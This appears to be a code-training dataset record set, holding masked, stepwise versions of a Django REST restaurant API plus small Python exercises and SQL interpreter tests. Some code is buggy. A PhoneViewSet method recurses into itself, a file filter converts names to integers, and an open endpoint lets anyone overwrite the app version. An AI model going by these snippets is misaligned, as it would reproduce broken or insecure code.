url_path='get-home')\n def home(self, request, *args, **kwargs):\n recommended = self._get_recommended_restaurants().order_by('?')[:5]\n special = self._get_special_restaurants().order_by('?')[:5]\n all_restaurants = self.get_queryset().order_by('?')[:5]\n recommended = self.get_serializer(recommended, many=True).data\n special = self.get_serializer(special, many=True).data\n all_restaurants = self.get_serializer(all_restaurants, many=True).data\n response = {'recommended': recommended, 'special': special, 'all':\n all_restaurants}\n return Response(response)\n\n @action(['get'], detail=False, url_path='special-offers')\n def special_offers(self, request, *args, **kwargs):\n serializer = self.get_serializer(self._get_special_restaurants().\n order_by('-created_at'), many=True)\n return Response(serializer.data)\n\n @action(['get'], detail=False, url_path='recommended-offers')\n def recommended_offers(self, request, *args, **kwargs):\n serializer = self.get_serializer(self._get_recommended_restaurants(\n ).order_by('-rates_avg'), many=True)\n return Response(serializer.data)\n\n @action(['get'], detail=True, url_path='restaurant-menus')\n def get_restaurant_menus(self, request, *args, **kwargs):\n categorized_menus = Menu.objects.grouped_by_meal_type_for_a_restaurant(\n restaurant_id=self.kwargs.get('pk'))\n return Response(categorized_menus)\n\n\nclass MenuViewSet(ModelViewSet):\n serializer_class = MenuSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = Menu.objects.all()\n\n @action(['get'], detail=False, url_path='get-home')\n def home(self, request, *args, **kwargs):\n queryset = self.get_queryset()\n special_offers = queryset.filter(~Q(discount=0)).order_by('?')[:5]\n recommended = queryset.all().order_by('?')[:5]\n special_offers = self.get_serializer(special_offers, many=True).data\n recommended = self.get_serializer(recommended, many=True).data\n response = {'recommended': recommended, 'special_offers':\n special_offers}\n return Response(data=response)\n\n @action(['get'], detail=False, url_path='special-offers')\n def special_offers(self, request, *args, **kwargs):\n queryset = self.get_queryset()\n special_offers = queryset.filter(~Q(discount=0)).order_by('-created_at'\n )\n serializer = self.get_serializer(special_offers, many=True)\n return Response(serializer.data)\n\n @action(['get'], detail=False, url_path='recommended-offers')\n def recommended_offers(self, request, *args, **kwargs):\n queryset = self.get_queryset()\n recommended = queryset.all().order_by('-created_at')\n serializer = self.get_serializer(recommended, many=True)\n return Response(serializer.data)\n\n\nclass OrderViewSet(ModelViewSet):\n serializer_class = OrderWRestaurantSerializer\n permission_classes = [permissions.IsAuthenticated]\n queryset = Order.objects.all().order_by('-created_at')\n\n def get_serializer(self, *args, **kwargs):\n if self.action == 'create':\n return OrderSerializer(*args, **kwargs)\n return super(OrderViewSet, self).get_serializer(*args, **kwargs)\n\n def get_queryset(self):\n return super(OrderViewSet, self).get_queryset().filter(client=self.\n request.user.client)\n\n def create(self, request, *args, **kwargs):\n fixer = RequestDataFixer(request=request)\n return super(OrderViewSet, self).create(fixer, *args, **kwargs)\n\n\nclass OrderLineViewSet(ModelViewSet):\n serializer_class = OrderLineSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = OrderLine.objects.all()\n\n\nclass WilayaViewSet(ModelViewSet):\n serializer_class = WilayaSerializer\n permission_classes = [my_perms.IsAdminOrReadOnly]\n queryset = Wilaya.objects.all()\n\n\nclass CityViewSet(ModelViewSet):\n serializer_class = CitySerializer\n permission_classes = [my_perms.IsAdminOrReadOnly]\n queryset = City.objects.all()\n\n\n<mask token>\n\n\nclass AddressViewSet(ModelViewSet):\n serializer_class = AddressSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = Address.objects.all()\n\n @action(['PUT'], detail=True, url_path='set-default', url_name=\n 'set-default')\n def set_default(self, request, *args, **kwargs):\n instance = self.get_object()\n instance.default = True\n instance.save()\n self.get_queryset().filter(~Q(pk=instance.pk), belongs_to=request.\n user.client).update(default=False)\n return Response(self.get_serializer(instance).data)\n\n @action(['PUT'], detail=False, url_path='set-main', url_name='set-main')\n def set_main(self, request, *args, **kwargs):\n self.get_queryset().filter(belongs_to=request.user.client).update(\n default=False)\n return Response({'status': True})\n\n def get_queryset(self):\n return super(AddressViewSet, self).get_queryset().filter(belongs_to\n =self.request.user.client)\n\n\nclass PhoneViewSet(ModelViewSet):\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n serializer_class = PhoneSerializer\n queryset = Phone.objects.all()\n\n @action(['PUT'], detail=False, url_path='set-main', url_name='set-main')\n def set_main(self, request, *args, **kwargs):\n self.get_queryset().filter(user=request.user).update(default=False)\n return Response({'status': True})\n\n @action(['PUT'], detail=True, url_path='set-default', url_name=\n 'set-default')\n def set_default(self, request, *args, **kwargs):\n instance = self.get_object()\n instance.default = True\n instance.save()\n self.get_queryset().filter(~Q(pk=instance.pk), user=request.user\n ).update(default=False)\n return Response(self.get_serializer(instance).data)\n\n def get_queryset(self):\n return self.get_queryset().filter(user=self.request.user)\n", "step-5": "from django.db.models import Q, Avg\nfrom django.http import JsonResponse\nfrom rest_framework import permissions\nfrom rest_framework.authtoken.models import Token\nfrom rest_framework.authtoken.views import ObtainAuthToken\nfrom rest_framework.decorators import action\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom rest_framework.viewsets import ModelViewSet\n\nfrom base_backend import permissions as my_perms\nfrom base_backend.utils import RequestDataFixer\nfrom restaurants.models import User, Cuisine, MealType, AppVersion, RestaurantType, Restaurant, Menu, Order, OrderLine, \\\n Wilaya, City, Address, Phone\nfrom restaurants.serializers import UserSerializer, SmsConfirmationSerializer, CuisineSerializer, \\\n RestaurantTypeSerializer, RestaurantSerializer, MenuSerializer, OrderLineSerializer, WilayaSerializer, \\\n CitySerializer, OrderWRestaurantSerializer, MealTypesWithMenuSerializer, MealTypeSerializer, OrderSerializer, \\\n AddressSerializer, PhoneSerializer\n\n\nclass LoginApi(ObtainAuthToken):\n def post(self, request, *args, **kwargs):\n serializer = self.serializer_class(data=request.data,\n context=dict(request=request))\n serializer.is_valid(raise_exception=True)\n user = serializer.validated_data['user']\n token, created = Token.objects.get_or_create(user=user)\n\n return Response(\n dict(\n token=token.key,\n user_id=user.pk,\n phone=user.phone,\n email=user.email,\n type=user.user_type,\n photo=user.photo.url if user.photo else None,\n address=user.address,\n city=user.lives_in_id,\n birth_date=user.birth_date,\n username=user.username,\n # is_participant=user.client.is_participant if user.client is not None else None,\n # participant_id=user.client.participant.participant_id if user.client else None,\n )\n )\n\n\nclass UserViewSet(ModelViewSet):\n serializer_class = UserSerializer\n queryset = User.objects.filter(is_active=True)\n\n def get_permissions(self):\n if self.action == 'create' or self.action == 'register':\n return [permissions.AllowAny()]\n else:\n return [permissions.IsAuthenticatedOrReadOnly()]\n\n @action(methods=['post'], detail=False, url_path='register', permission_classes=[permissions.AllowAny()])\n def register(self, request, *args, **kwargs):\n response = super().create(request, *args, **kwargs)\n if response:\n response.data = dict(status=True, code=4)\n return response\n\n def create(self, request, *args, **kwargs):\n return self.register(request, *args, **kwargs)\n\n\nclass OtpApi(APIView):\n permission_classes = [permissions.AllowAny]\n\n def get(self, request):\n serializer = SmsConfirmationSerializer(data=request.GET)\n result = serializer.resend()\n if result:\n response = dict(status=True, code=5)\n else:\n response = dict(status=False, code=21)\n return Response(response)\n\n def put(self, request):\n serializer = SmsConfirmationSerializer(data=request.data)\n result = serializer.activate()\n if result:\n response = dict(status=True, code=5)\n else:\n response = dict(status=False, code=20)\n return Response(response)\n\n\nclass CuisineViewSet(ModelViewSet):\n serializer_class = CuisineSerializer\n permission_classes = [my_perms.IsAdminOrReadOnly]\n queryset = Cuisine.objects.all()\n\n\nclass MealTypeViewSet(ModelViewSet):\n permission_classes = [my_perms.IsAdminOrReadOnly]\n serializer_class = MealTypeSerializer\n queryset = MealType.objects.all()\n\n def get_serializer(self, *args, **kwargs):\n if self.action == \"get_types_with_menus\":\n serializer_class = MealTypesWithMenuSerializer\n kwargs['context'] = self.get_serializer_context()\n return serializer_class(*args, **kwargs)\n return super(MealTypeViewSet, self).get_serializer(*args, **kwargs)\n\n @action(['get'], detail=False, url_path=\"type-with-menus\", )\n def get_types_with_menus(self, request, *args, **kwargs):\n types = self.get_queryset().filter(menus__offered_by=request.query_params.get('restaurant', 0))\n types = self.get_serializer(types, many=True).data\n return Response(types)\n\n\nclass RestaurantTypeViewSet(ModelViewSet):\n serializer_class = RestaurantTypeSerializer\n permission_classes = [my_perms.IsAdminOrReadOnly]\n queryset = RestaurantType.objects.all()\n\n\nclass RestaurantViewSet(ModelViewSet):\n serializer_class = RestaurantSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = Restaurant.objects.all()\n\n def _get_recommended_restaurants(self) -> queryset:\n queryset = self.get_queryset()\n recommended = queryset.all().annotate(rates_avg=Avg('rates__stars'))\n return recommended\n\n def _get_special_restaurants(self) -> queryset:\n queryset = self.get_queryset()\n special_offers_restaurants = queryset.filter(Q(menus__discount__gt=0) | Q(on_special_day=True))\n return special_offers_restaurants\n\n @action(['get'], detail=False, url_path=\"get-home\")\n def home(self, request, *args, **kwargs):\n recommended = self._get_recommended_restaurants().order_by('?')[:5]\n special = self._get_special_restaurants().order_by('?')[:5]\n all_restaurants = self.get_queryset().order_by('?')[:5]\n recommended = self.get_serializer(recommended, many=True).data\n special = self.get_serializer(special, many=True).data\n all_restaurants = self.get_serializer(all_restaurants, many=True).data\n response = {\n 'recommended': recommended,\n 'special': special,\n 'all': all_restaurants\n }\n return Response(response)\n\n @action(['get'], detail=False, url_path=\"special-offers\")\n def special_offers(self, request, *args, **kwargs):\n serializer = self.get_serializer(self._get_special_restaurants().order_by('-created_at'), many=True)\n return Response(serializer.data)\n\n @action(['get'], detail=False, url_path=\"recommended-offers\")\n def recommended_offers(self, request, *args, **kwargs):\n serializer = self.get_serializer(self._get_recommended_restaurants().order_by('-rates_avg'), many=True)\n return Response(serializer.data)\n\n @action(['get'], detail=True, url_path=\"restaurant-menus\")\n def get_restaurant_menus(self, request, *args, **kwargs):\n categorized_menus = Menu.objects.grouped_by_meal_type_for_a_restaurant(restaurant_id=self.kwargs.get('pk'))\n return Response(categorized_menus)\n\n\nclass MenuViewSet(ModelViewSet):\n serializer_class = MenuSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = Menu.objects.all()\n\n @action(['get'], detail=False, url_path=\"get-home\")\n def home(self, request, *args, **kwargs):\n queryset = self.get_queryset()\n special_offers = queryset.filter(~Q(discount=0)).order_by('?')[:5]\n recommended = queryset.all().order_by('?')[:5]\n special_offers = self.get_serializer(special_offers, many=True).data\n recommended = self.get_serializer(recommended, many=True).data\n response = {\n 'recommended': recommended,\n 'special_offers': special_offers\n }\n return Response(data=response)\n\n @action(['get'], detail=False, url_path=\"special-offers\")\n def special_offers(self, request, *args, **kwargs):\n queryset = self.get_queryset()\n special_offers = queryset.filter(~Q(discount=0)).order_by('-created_at')\n serializer = self.get_serializer(special_offers, many=True)\n return Response(serializer.data)\n\n @action(['get'], detail=False, url_path=\"recommended-offers\")\n def recommended_offers(self, request, *args, **kwargs):\n queryset = self.get_queryset()\n recommended = queryset.all().order_by('-created_at')\n serializer = self.get_serializer(recommended, many=True)\n return Response(serializer.data)\n\n\nclass OrderViewSet(ModelViewSet):\n serializer_class = OrderWRestaurantSerializer\n permission_classes = [permissions.IsAuthenticated]\n queryset = Order.objects.all().order_by('-created_at')\n\n def get_serializer(self, *args, **kwargs):\n if self.action == \"create\":\n return OrderSerializer(*args, **kwargs)\n return super(OrderViewSet, self).get_serializer(*args, **kwargs)\n\n def get_queryset(self):\n return super(OrderViewSet, self).get_queryset().filter(client=self.request.user.client)\n\n def create(self, request, *args, **kwargs):\n fixer = RequestDataFixer(request=request)\n return super(OrderViewSet, self).create(fixer, *args, **kwargs)\n\n\nclass OrderLineViewSet(ModelViewSet):\n serializer_class = OrderLineSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = OrderLine.objects.all()\n\n\nclass WilayaViewSet(ModelViewSet):\n serializer_class = WilayaSerializer\n permission_classes = [my_perms.IsAdminOrReadOnly]\n queryset = Wilaya.objects.all()\n\n\nclass CityViewSet(ModelViewSet):\n serializer_class = CitySerializer\n permission_classes = [my_perms.IsAdminOrReadOnly]\n queryset = City.objects.all()\n\n\ndef version(request):\n print('inside this')\n if request.GET.get('code', None):\n code = request.GET.get('code')\n AppVersion.objects.all().update(code=code)\n return JsonResponse({'updated': True})\n else:\n code = AppVersion.objects.all().first().code\n return JsonResponse({'code': code})\n\n\nclass AddressViewSet(ModelViewSet):\n serializer_class = AddressSerializer\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n queryset = Address.objects.all()\n\n @action(['PUT'], detail=True, url_path=\"set-default\", url_name='set-default')\n def set_default(self, request, *args, **kwargs):\n instance = self.get_object()\n instance.default = True\n instance.save()\n self.get_queryset().filter(~Q(pk=instance.pk), belongs_to=request.user.client).update(default=False)\n return Response(self.get_serializer(instance).data)\n\n @action(['PUT'], detail=False, url_path=\"set-main\", url_name='set-main')\n def set_main(self, request, *args, **kwargs):\n self.get_queryset().filter(belongs_to=request.user.client).update(default=False)\n return Response({\"status\": True})\n\n def get_queryset(self):\n return super(AddressViewSet, self).get_queryset().filter(belongs_to=self.request.user.client)\n\n\nclass PhoneViewSet(ModelViewSet):\n permission_classes = [permissions.IsAuthenticatedOrReadOnly]\n serializer_class = PhoneSerializer\n queryset = Phone.objects.all()\n\n @action(['PUT'], detail=False, url_path=\"set-main\", url_name='set-main')\n def set_main(self, request, *args, **kwargs):\n self.get_queryset().filter(user=request.user).update(default=False)\n return Response({\"status\": True})\n\n @action(['PUT'], detail=True, url_path=\"set-default\", url_name='set-default')\n def set_default(self, request, *args, **kwargs):\n instance = self.get_object()\n instance.default = True\n instance.save()\n self.get_queryset().filter(~Q(pk=instance.pk), user=request.user).update(default=False)\n return Response(self.get_serializer(instance).data)\n\n def get_queryset(self):\n return self.get_queryset().filter(user=self.request.user)\n", "step-ids": [ 34, 40, 41, 42, 56 ] }

[ 34, 40, 41, 42, 56 ]

<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> planet_list.append('Jupiter') planet_list.append('Saturn') planet_list.extend(['Uranus', 'Neptune']) planet_list.insert(1, 'Earth') planet_list.insert(1, 'Venus') planet_list.append('Pluto') del planet_list[-1] print(planet_list) <|reserved_special_token_1|> planet_list = ['Mercury', 'Mars'] planet_list.append('Jupiter') planet_list.append('Saturn') planet_list.extend(['Uranus', 'Neptune']) planet_list.insert(1, 'Earth') planet_list.insert(1, 'Venus') planet_list.append('Pluto') del planet_list[-1] print(planet_list) <|reserved_special_token_1|> planet_list = ["Mercury", "Mars"] planet_list.append("Jupiter") planet_list.append("Saturn") planet_list.extend(["Uranus", "Neptune"]) planet_list.insert(1, "Earth") planet_list.insert(1, "Venus") planet_list.append("Pluto") del planet_list[-1] print(planet_list)

flexible

{ "blob_id": "1280ab66b817011e22e560a78104bbc4340989e7", "index": 8495, "step-1": "<mask token>\n", "step-2": "<mask token>\nplanet_list.append('Jupiter')\nplanet_list.append('Saturn')\nplanet_list.extend(['Uranus', 'Neptune'])\nplanet_list.insert(1, 'Earth')\nplanet_list.insert(1, 'Venus')\nplanet_list.append('Pluto')\ndel planet_list[-1]\nprint(planet_list)\n", "step-3": "planet_list = ['Mercury', 'Mars']\nplanet_list.append('Jupiter')\nplanet_list.append('Saturn')\nplanet_list.extend(['Uranus', 'Neptune'])\nplanet_list.insert(1, 'Earth')\nplanet_list.insert(1, 'Venus')\nplanet_list.append('Pluto')\ndel planet_list[-1]\nprint(planet_list)\n", "step-4": "planet_list = [\"Mercury\", \"Mars\"]\n\nplanet_list.append(\"Jupiter\")\nplanet_list.append(\"Saturn\")\nplanet_list.extend([\"Uranus\", \"Neptune\"])\nplanet_list.insert(1, \"Earth\")\nplanet_list.insert(1, \"Venus\")\nplanet_list.append(\"Pluto\")\ndel planet_list[-1]\n\nprint(planet_list)", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }

[ 0, 1, 2, 3 ]

<|reserved_special_token_0|> <|reserved_special_token_1|> from .dataset_readers import * from .models import *

flexible

{ "blob_id": "bc8bf06f1adedeb7b364308591bff09ac42d6c29", "index": 3702, "step-1": "<mask token>\n", "step-2": "from .dataset_readers import *\nfrom .models import *\n", "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0, 1 ] }

[ 0, 1 ]

import os import glob ONE_KB = 1024 def get_files(dirname, size_in_kb): """Return files in dirname that are >= size_in_kb""" return ( filename for _, _, files in os.walk(dirname) for filename in files if int(filename) >= size_in_kb * ONE_KB ) # Pybites solution def get_files1(dirname, size_in_kb): """Return files in dirname that are >= size_in_kb""" for file in glob.glob(os.path.join(dirname, "*")): if os.stat(file).st_size >= size_in_kb * ONE_KB: yield file

normal

{ "blob_id": "0dec0f04cfe891eea74ef45484fa7433e3429dcd", "index": 7570, "step-1": "<mask token>\n\n\ndef get_files1(dirname, size_in_kb):\n \"\"\"Return files in dirname that are >= size_in_kb\"\"\"\n for file in glob.glob(os.path.join(dirname, '*')):\n if os.stat(file).st_size >= size_in_kb * ONE_KB:\n yield file\n", "step-2": "<mask token>\n\n\ndef get_files(dirname, size_in_kb):\n \"\"\"Return files in dirname that are >= size_in_kb\"\"\"\n return (filename for _, _, files in os.walk(dirname) for filename in\n files if int(filename) >= size_in_kb * ONE_KB)\n\n\ndef get_files1(dirname, size_in_kb):\n \"\"\"Return files in dirname that are >= size_in_kb\"\"\"\n for file in glob.glob(os.path.join(dirname, '*')):\n if os.stat(file).st_size >= size_in_kb * ONE_KB:\n yield file\n", "step-3": "<mask token>\nONE_KB = 1024\n\n\ndef get_files(dirname, size_in_kb):\n \"\"\"Return files in dirname that are >= size_in_kb\"\"\"\n return (filename for _, _, files in os.walk(dirname) for filename in\n files if int(filename) >= size_in_kb * ONE_KB)\n\n\ndef get_files1(dirname, size_in_kb):\n \"\"\"Return files in dirname that are >= size_in_kb\"\"\"\n for file in glob.glob(os.path.join(dirname, '*')):\n if os.stat(file).st_size >= size_in_kb * ONE_KB:\n yield file\n", "step-4": "import os\nimport glob\nONE_KB = 1024\n\n\ndef get_files(dirname, size_in_kb):\n \"\"\"Return files in dirname that are >= size_in_kb\"\"\"\n return (filename for _, _, files in os.walk(dirname) for filename in\n files if int(filename) >= size_in_kb * ONE_KB)\n\n\ndef get_files1(dirname, size_in_kb):\n \"\"\"Return files in dirname that are >= size_in_kb\"\"\"\n for file in glob.glob(os.path.join(dirname, '*')):\n if os.stat(file).st_size >= size_in_kb * ONE_KB:\n yield file\n", "step-5": "import os\nimport glob\n\nONE_KB = 1024\n\n\ndef get_files(dirname, size_in_kb):\n \"\"\"Return files in dirname that are >= size_in_kb\"\"\"\n return (\n filename\n for _, _, files in os.walk(dirname)\n for filename in files\n if int(filename) >= size_in_kb * ONE_KB\n )\n\n\n# Pybites solution\ndef get_files1(dirname, size_in_kb):\n \"\"\"Return files in dirname that are >= size_in_kb\"\"\"\n for file in glob.glob(os.path.join(dirname, \"*\")):\n if os.stat(file).st_size >= size_in_kb * ONE_KB:\n yield file\n", "step-ids": [ 1, 2, 3, 4, 5 ] }

[ 1, 2, 3, 4, 5 ]

<|reserved_special_token_0|> class CommitAnalyzer: <|reserved_special_token_0|> def __init__(self, repo_path): self.repo_path = repo_path self.repo = Repo(self.repo_path) assert not self.repo.bare <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class CommitAnalyzer: """ Takes path of the repo """ def __init__(self, repo_path): self.repo_path = repo_path self.repo = Repo(self.repo_path) assert not self.repo.bare def get_conflict_commits(self): conflict_commits = [] current_date = datetime.now() for commit in self.repo.iter_commits('master'): parents = commit.parents if len(parents) > 1 and 'conflict' in commit.message.lower( ) and '.java' in commit.message.lower(): conflict_commits.append(commit) return conflict_commits <|reserved_special_token_0|> for commit in commit_analyzer.get_conflict_commits(): print(commit, time.asctime(time.gmtime(commit.committed_date))) <|reserved_special_token_1|> <|reserved_special_token_0|> class CommitAnalyzer: """ Takes path of the repo """ def __init__(self, repo_path): self.repo_path = repo_path self.repo = Repo(self.repo_path) assert not self.repo.bare def get_conflict_commits(self): conflict_commits = [] current_date = datetime.now() for commit in self.repo.iter_commits('master'): parents = commit.parents if len(parents) > 1 and 'conflict' in commit.message.lower( ) and '.java' in commit.message.lower(): conflict_commits.append(commit) return conflict_commits commit_analyzer = CommitAnalyzer(os.getcwd()) for commit in commit_analyzer.get_conflict_commits(): print(commit, time.asctime(time.gmtime(commit.committed_date))) <|reserved_special_token_1|> import os import time from datetime import datetime, timedelta from git import Repo class CommitAnalyzer: """ Takes path of the repo """ def __init__(self, repo_path): self.repo_path = repo_path self.repo = Repo(self.repo_path) assert not self.repo.bare def get_conflict_commits(self): conflict_commits = [] current_date = datetime.now() for commit in self.repo.iter_commits('master'): parents = commit.parents if len(parents) > 1 and 'conflict' in commit.message.lower( ) and '.java' in commit.message.lower(): conflict_commits.append(commit) return conflict_commits commit_analyzer = CommitAnalyzer(os.getcwd()) for commit in commit_analyzer.get_conflict_commits(): print(commit, time.asctime(time.gmtime(commit.committed_date))) <|reserved_special_token_1|> import os import time from datetime import datetime, timedelta from git import Repo class CommitAnalyzer(): """ Takes path of the repo """ def __init__(self, repo_path): self.repo_path = repo_path self.repo = Repo(self.repo_path) assert not self.repo.bare def get_conflict_commits(self): conflict_commits = [] current_date = datetime.now() for commit in self.repo.iter_commits('master'): parents = commit.parents if len(parents) > 1 and "conflict" in commit.message.lower() and ".java" in commit.message.lower(): #if datetime.fromtimestamp(commit.committed_date) >= current_date - timedelta(5): conflict_commits.append(commit) return conflict_commits #run script in cloned repo commit_analyzer = CommitAnalyzer(os.getcwd()) for commit in commit_analyzer.get_conflict_commits(): print (commit, time.asctime(time.gmtime(commit.committed_date)))

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{ "blob_id": "8479c70fed36dc6f1e6094c832fb22d8c2e53e3a", "index": 920, "step-1": "<mask token>\n\n\nclass CommitAnalyzer:\n <mask token>\n\n def __init__(self, repo_path):\n self.repo_path = repo_path\n self.repo = Repo(self.repo_path)\n assert not self.repo.bare\n <mask token>\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass CommitAnalyzer:\n \"\"\"\n\tTakes path of the repo\n\t\"\"\"\n\n def __init__(self, repo_path):\n self.repo_path = repo_path\n self.repo = Repo(self.repo_path)\n assert not self.repo.bare\n\n def get_conflict_commits(self):\n conflict_commits = []\n current_date = datetime.now()\n for commit in self.repo.iter_commits('master'):\n parents = commit.parents\n if len(parents) > 1 and 'conflict' in commit.message.lower(\n ) and '.java' in commit.message.lower():\n conflict_commits.append(commit)\n return conflict_commits\n\n\n<mask token>\nfor commit in commit_analyzer.get_conflict_commits():\n print(commit, time.asctime(time.gmtime(commit.committed_date)))\n", "step-3": "<mask token>\n\n\nclass CommitAnalyzer:\n \"\"\"\n\tTakes path of the repo\n\t\"\"\"\n\n def __init__(self, repo_path):\n self.repo_path = repo_path\n self.repo = Repo(self.repo_path)\n assert not self.repo.bare\n\n def get_conflict_commits(self):\n conflict_commits = []\n current_date = datetime.now()\n for commit in self.repo.iter_commits('master'):\n parents = commit.parents\n if len(parents) > 1 and 'conflict' in commit.message.lower(\n ) and '.java' in commit.message.lower():\n conflict_commits.append(commit)\n return conflict_commits\n\n\ncommit_analyzer = CommitAnalyzer(os.getcwd())\nfor commit in commit_analyzer.get_conflict_commits():\n print(commit, time.asctime(time.gmtime(commit.committed_date)))\n", "step-4": "import os\nimport time\nfrom datetime import datetime, timedelta\nfrom git import Repo\n\n\nclass CommitAnalyzer:\n \"\"\"\n\tTakes path of the repo\n\t\"\"\"\n\n def __init__(self, repo_path):\n self.repo_path = repo_path\n self.repo = Repo(self.repo_path)\n assert not self.repo.bare\n\n def get_conflict_commits(self):\n conflict_commits = []\n current_date = datetime.now()\n for commit in self.repo.iter_commits('master'):\n parents = commit.parents\n if len(parents) > 1 and 'conflict' in commit.message.lower(\n ) and '.java' in commit.message.lower():\n conflict_commits.append(commit)\n return conflict_commits\n\n\ncommit_analyzer = CommitAnalyzer(os.getcwd())\nfor commit in commit_analyzer.get_conflict_commits():\n print(commit, time.asctime(time.gmtime(commit.committed_date)))\n", "step-5": "import os\nimport time\nfrom datetime import datetime, timedelta\nfrom git import Repo\n\nclass CommitAnalyzer():\n\n\t\"\"\"\n\tTakes path of the repo\n\t\"\"\"\n\tdef __init__(self, repo_path):\n\t\tself.repo_path = repo_path\n\t\tself.repo = Repo(self.repo_path)\n\t\tassert not self.repo.bare\n\n\tdef get_conflict_commits(self):\n\t\tconflict_commits = []\n\t\tcurrent_date = datetime.now()\n\t\tfor commit in self.repo.iter_commits('master'):\n\t\t\tparents = commit.parents\n\t\t\tif len(parents) > 1 and \"conflict\" in commit.message.lower() and \".java\" in commit.message.lower():\n\t\t\t\t#if datetime.fromtimestamp(commit.committed_date) >= current_date - timedelta(5):\n\t\t\t\tconflict_commits.append(commit)\n\n\t\treturn conflict_commits\n\n#run script in cloned repo\ncommit_analyzer = CommitAnalyzer(os.getcwd())\nfor commit in commit_analyzer.get_conflict_commits():\n\tprint (commit, time.asctime(time.gmtime(commit.committed_date)))", "step-ids": [ 2, 5, 6, 7, 8 ] }

[ 2, 5, 6, 7, 8 ]

#Exercise 2 - Write a Python class which has two methods get_String and print_String. get_String accept a string #from the user and print_String print the string in upper case #string will be an input to a get_string method and whatever you put in will print when you make the print screen method class IOString(): def __init__(self): self.str1 = "" def get_String(self): self.str1 = input() def print_String(self): print(self.str1.upper()) str1 = IOString() str1.get_String() str1.print_String()

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{ "blob_id": "cf2973b94f1113013fe9baa946202ec75488f7d2", "index": 9697, "step-1": "class IOString:\n <mask token>\n\n def get_String(self):\n self.str1 = input()\n <mask token>\n\n\n<mask token>\n", "step-2": "class IOString:\n <mask token>\n\n def get_String(self):\n self.str1 = input()\n\n def print_String(self):\n print(self.str1.upper())\n\n\n<mask token>\n", "step-3": "class IOString:\n\n def __init__(self):\n self.str1 = ''\n\n def get_String(self):\n self.str1 = input()\n\n def print_String(self):\n print(self.str1.upper())\n\n\n<mask token>\n", "step-4": "class IOString:\n\n def __init__(self):\n self.str1 = ''\n\n def get_String(self):\n self.str1 = input()\n\n def print_String(self):\n print(self.str1.upper())\n\n\n<mask token>\nstr1.get_String()\nstr1.print_String()\n", "step-5": "#Exercise 2 - Write a Python class which has two methods get_String and print_String. get_String accept a string\n#from the user and print_String print the string in upper case\n#string will be an input to a get_string method and whatever you put in will print when you make the print screen method\n\nclass IOString():\n def __init__(self):\n self.str1 = \"\"\n \n def get_String(self):\n self.str1 = input()\n \n def print_String(self):\n print(self.str1.upper())\n \nstr1 = IOString()\nstr1.get_String()\nstr1.print_String()", "step-ids": [ 2, 3, 4, 5, 7 ] }

[ 2, 3, 4, 5, 7 ]

<|reserved_special_token_0|> class InterpreterTest: <|reserved_special_token_0|> def tearDown(self): self.interpreter.unload_all() <|reserved_special_token_0|> def test_select_2(self): sql = """select e.id, last_name, department_id, departments.id, name from employees e, departments;""" self.cli.execute(sql) self.cli.print_new_line() def test_select_all(self): code = 'select * from employees;' self.interpreter.interpret(code) self.cli.print_new_line() <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class InterpreterTest: <|reserved_special_token_0|> def tearDown(self): self.interpreter.unload_all() <|reserved_special_token_0|> def test_select_2(self): sql = """select e.id, last_name, department_id, departments.id, name from employees e, departments;""" self.cli.execute(sql) self.cli.print_new_line() def test_select_all(self): code = 'select * from employees;' self.interpreter.interpret(code) self.cli.print_new_line() def test_select_distinct(self): sql = """select distinct departments.id as dep_id, employees.salary as sal from employees, departments order by dep_id, sal desc;""" self.cli.execute(sql) self.cli.print_new_line() <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class InterpreterTest: def setUp(self): self.interpreter = SqlInterpreter() self.cli = Cli(self.interpreter) filename = os.path.join(os.path.dirname(__file__), 'resources/employees.csv') self.interpreter.load(CsvTable('employees', filename)) filename = os.path.join(os.path.dirname(__file__), 'resources/departments.csv') self.interpreter.load(CsvTable('departments', filename)) def tearDown(self): self.interpreter.unload_all() def test_select_1(self): sql = """select id, first_name || ' ' || last_name as full_name, salary - 1000 from employees;""" self.cli.execute(sql) self.cli.print_new_line() def test_select_2(self): sql = """select e.id, last_name, department_id, departments.id, name from employees e, departments;""" self.cli.execute(sql) self.cli.print_new_line() def test_select_all(self): code = 'select * from employees;' self.interpreter.interpret(code) self.cli.print_new_line() def test_select_distinct(self): sql = """select distinct departments.id as dep_id, employees.salary as sal from employees, departments order by dep_id, sal desc;""" self.cli.execute(sql) self.cli.print_new_line() if __name__ == '__main__': test = InterpreterTest() test.setUp() test.test_select_1() test.test_select_2() test.test_select_distinct() test.tearDown() <|reserved_special_token_1|> import os from sql_interpreter.tables.csv_table import CsvTable from sql_interpreter.interpreter import SqlInterpreter from sql_interpreter.cli import Cli class InterpreterTest: def setUp(self): self.interpreter = SqlInterpreter() self.cli = Cli(self.interpreter) filename = os.path.join(os.path.dirname(__file__), 'resources/employees.csv') self.interpreter.load(CsvTable('employees', filename)) filename = os.path.join(os.path.dirname(__file__), 'resources/departments.csv') self.interpreter.load(CsvTable('departments', filename)) def tearDown(self): self.interpreter.unload_all() def test_select_1(self): sql = """select id, first_name || ' ' || last_name as full_name, salary - 1000 from employees;""" self.cli.execute(sql) self.cli.print_new_line() def test_select_2(self): sql = """select e.id, last_name, department_id, departments.id, name from employees e, departments;""" self.cli.execute(sql) self.cli.print_new_line() def test_select_all(self): code = 'select * from employees;' self.interpreter.interpret(code) self.cli.print_new_line() def test_select_distinct(self): sql = """select distinct departments.id as dep_id, employees.salary as sal from employees, departments order by dep_id, sal desc;""" self.cli.execute(sql) self.cli.print_new_line() if __name__ == '__main__': test = InterpreterTest() test.setUp() test.test_select_1() test.test_select_2() 